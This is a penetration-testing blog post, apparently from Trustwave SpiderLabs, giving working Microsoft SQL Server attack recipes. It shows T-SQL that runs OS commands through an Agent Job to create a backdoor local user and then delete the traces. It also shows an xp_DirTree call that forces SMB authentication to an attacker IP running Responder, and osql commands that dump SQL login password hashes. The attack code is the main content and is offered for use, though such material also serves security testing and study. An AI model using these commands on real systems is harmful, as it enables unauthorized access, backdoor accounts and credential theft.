Wendel's Small Hacking Tricks - Microsoft SQL Server Edition

Since 2003 a large part of my workday has beendevoted solely to hacking systems. Over this time I've collected tons of tricksand tips that are useful for penetration testing, and plan to write a number ofposts to share them. Keep watching SpiderLabs blog! :)

This is the first post in the "Wendel'sSmall Hacking Tricks" series and is devoted to Microsoft SQL ServerHacking.

*** How to execute OS commands when xp_cmdshell was removed AND necessaryDLLs deleted ***

You will find tons of references about how to re-enablexp_cmdshell stored procedure if it was disabled. The recent versions ofMicrosoft SQL Server comes with xp_cmdshell stored procedure disabled bydefault, and all that you need to do to re-enable is execute the followingcommands with an administrative account.

EXEC sp_configure 'show advanced options',1;


EXEC sp_configure 'xp_cmdshell',1;


But what if xp_cmdshell was removed?

You will need to re-create it usingsp_addextendedproc and the associated DLL. For Microsoft SQL Server 2000 youwill need to execute one the following queries:

EXEC sp_addextendedproc 'xp_cmdshell','xplog70.dll'


EXEC sp_addextendedproc xp_cmdshell,'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

However, if the associated DLL file was deletedyou need to find another way. This trick may save you hours of research :)

There are different ways, but I like to useAgent Job feature. I suggest installing sqsh (Linux), or another robust MSSQLclient, to execute the following query:

DECLARE @jobID uniqueidentifier, @cmdvarchar(1000)

SET @cmd = 'net user SpiderLabs TW-SPL5562/ADD'

EXEC msdb.dbo.sp_add_job @job_name ='_tmp_MakeDirectory', @enabled = 1,@start_step_id = 1, @owner_login_name='sa', @job_id = @jobID OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id = @jobID,@step_name = 'Create Backup Folder', @step_id = 1, @subsystem = 'CMDEXEC',@command = @cmd

EXEC msdb.dbo.sp_add_jobserver @job_id = @jobID

EXEC msdb.dbo.sp_start_job @job_id = @jobID,@output_flag = 0

WAITFOR DELAY '000:00:05'

IF EXISTS (SELECT name FROM msdb.dbo.sysjobsWHERE name = '_tmp_MakeDirectory')


EXECmsdb.dbo.sp_delete_job @job_name = '_tmp_MakeDirectory'



OK, this code is not simple as callxp_cmdshell, but it will do the same (execute OS commands). Just replace theline "SET @cmd = 'net user SpiderLabs TW-SPL5562 /ADD'" with thecommand that you want to execute. The example code once executed will create alocal user called SpiderLabs and password TW-SPL5562.

*** How to escalate privileges on MSSQL via stored procedure + UNC ***

Basically we will setup a rogue SMB authentication server to stealcredentials and force the Microsoft SQL Server database to connect to us andleak their credential. You may want to use SMB Relay attack instead, it's up toyou.

1) Start Responder Tool(https://github.com/SpiderLabs/Responder) from my friend Laurent Gaffie orwhatever you want.

2) Execute the following stored procedure:

EXEC Master.dbo.xp_DirTree"\\YourIP\x",1,1;

You just need to replace "YourIP"with the IP address of the system (attacker machine) running Responder tool.

At this point a SMB connection from MicrosoftSQL Server was sent to your IP address (attacker controlled machine).

You may try downgrade attacks to use HALFLMrainbow tables or SMB relay attack to obtain access to another system with thiscredential.

There are tons of other stored procedures thatleak Microsoft SQL Server credential via SMB, but it's your homework. :)

*** How to dump local MS-SQL server hashes from a Windows system if youdon't have access to this database ***

First of all you need to have administrativeaccess on the Windows system.

From the cmd.exe just type the followingcommand for MSSQL 2000:

osql -E -Q "SELECT name,password frommaster.dbo.sysxlogins"

From the cmd.exe just type the following commandfor MSSQL 2005:

osql -E -Q "SELECT name,password_hash FROMsys.sql_logins"

The tool "osql" is installed withMicrosoft SQL Server and the option "-E" will try to authenticate onthe database with your current Windows login account.

You are able to execute any command that youwant, just to illustrate we dumped the Microsoft SQL Server password hashes.

Microsoft recommends Windows Authentication andconsequently this trick will work often. In other words, own the OperatingSystem and obtain win the database as a bonus. :)

I hope you have enjoyed.

Stay tuned for more Wendel's Small Hacking Tricks.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.